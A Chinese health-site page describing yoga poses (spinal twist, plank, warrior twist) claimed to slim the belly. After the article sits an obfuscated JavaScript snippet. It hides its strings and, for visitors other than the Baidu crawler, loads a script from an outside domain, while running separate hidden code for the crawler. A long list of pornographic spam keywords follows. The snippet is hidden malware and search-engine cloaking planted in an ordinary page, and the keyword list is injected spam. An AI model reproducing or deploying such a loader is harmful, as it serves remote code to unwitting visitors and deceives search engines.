當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

瑜珈減肚子怎么做

2017-04-22 01:25:32  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:瑜伽減肚子是完全可行的,尤其是通過瘦身瑜伽的練習(xí),不但可以減肚子,而且還能瘦身塑形,如果想要擁有苗條迷人的身材,不放多練習(xí)瘦身瑜伽

瑜伽減肚子是完全可行的,尤其是通過瘦身瑜伽的練習(xí),不但可以減肚子,而且還能瘦身塑形,如果想要擁有苗條迷人的身材,不放多練習(xí)瘦身瑜伽。在練習(xí)瑜伽的時(shí)候可以加快我們身體的血液循環(huán),能刺激身體新陳代謝,達(dá)到瘦身以及清除體內(nèi)垃圾的作用。瘦身瑜伽學(xué)習(xí)起來很簡單,來一起看看下面的介紹吧。

瑜伽動(dòng)作脊柱扭轉(zhuǎn)式減肚子:坐于地上,兩腿向前伸直,并腰背挺直,彎曲左腿,將左腳放在右腿外側(cè),右腿向左后側(cè)彎曲;將左手放于身體背后地面,右側(cè)手肘鎖住左腿膝蓋;呼氣,盡量將身體向左后方轉(zhuǎn),從而扭動(dòng)脊柱;轉(zhuǎn)到極限處。

瑜伽動(dòng)作平板式:趴在瑜伽墊子上,雙手放到胸部兩側(cè),腳尖著地,用力撐起身體。、將力量均勻地散布在整個(gè)手掌上,收緊胸、背、腹、臀部的肌肉,使身體成為一條直線。將頭頂向前,感覺瑜伽頸部由脊椎向前無限沿伸。眼睛自然向下直視。放松喉部及雙眼。平板式是傳統(tǒng)太陽禮拜式中的一個(gè)體位。或者也可作為單獨(dú)的練習(xí)姿勢停留30秒到60秒。

瑜伽動(dòng)作英雄扭轉(zhuǎn)式:挺直身體站立,右腿向右大邁一步,腳尖向前。兩臂向身體的兩側(cè)平伸,兩臂保持于地面平行;深吸一口氣,兩腿在保持伸直的同時(shí),將右腳向右旋轉(zhuǎn)90度,左腳跟著向右旋轉(zhuǎn)62度。

通過瘦身瑜伽的練習(xí)不但可以瘦肚子,而且還能讓我們的身材更好,讓我們的身體更加健康。瘦身瑜伽的優(yōu)點(diǎn)是去掉了很多瑜伽的高難度動(dòng)作,保留了一些對減肥有好處,而且易于學(xué)習(xí)的動(dòng)作,通過瘦身瑜伽的練習(xí)能提高我們對瑜伽的興趣,能舒緩我們的神經(jīng),當(dāng)然也可以減肥哦。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
99爱在线精品免费观看| 精品久久久无码中文字幕天天| 国产精品国三级国产AV| 亚洲宅男精品一区在线观看| 99re热精品视频国产免费| 99久久综合精品国产| 国产看午夜精品理论片| 日本精品久久久久影院日本| 亚洲第一精品福利| 国产精品入口在线看麻豆| 亚洲精品无码久久久久| 亚洲一区爱区精品无码| 99在线观看精品视频| 国产精品麻豆VA在线播放| segui久久综合精品| 国产精品爆乳在线播放第一人称| 久久精品国产精品国产精品污 | 国产成人精品三级在线 | 女同久久精品国产99国产精品| 精品无码国产一区二区三区AV| 精品国产日韩一区三区| 高清在线亚洲精品国产二区| 精品国产理论在线观看不卡| 精品久久久久久婷婷| 久久久无码精品亚洲日韩京东传媒 | 国产成人亚洲合集青青草原精品 | 欧洲精品99毛片免费高清观看| 久久久久亚洲精品男人的天堂| 亚洲一区精品伊人久久伊人| 青草青草久热精品视频在线观看| 国产精品无码久久综合网| 国产91精品一区二区麻豆网站| 网友偷拍日韩精品| 亚洲精品成人久久| 精品国产综合成人亚洲区| 亚洲中文字幕久久精品无码APP| 国产精品不卡视频| 四虎AV永久在线精品免费观看| 亚洲中文字幕久久精品无码A | 国产精品乱码高清在线观看| 午夜精品一区二区三区在线视|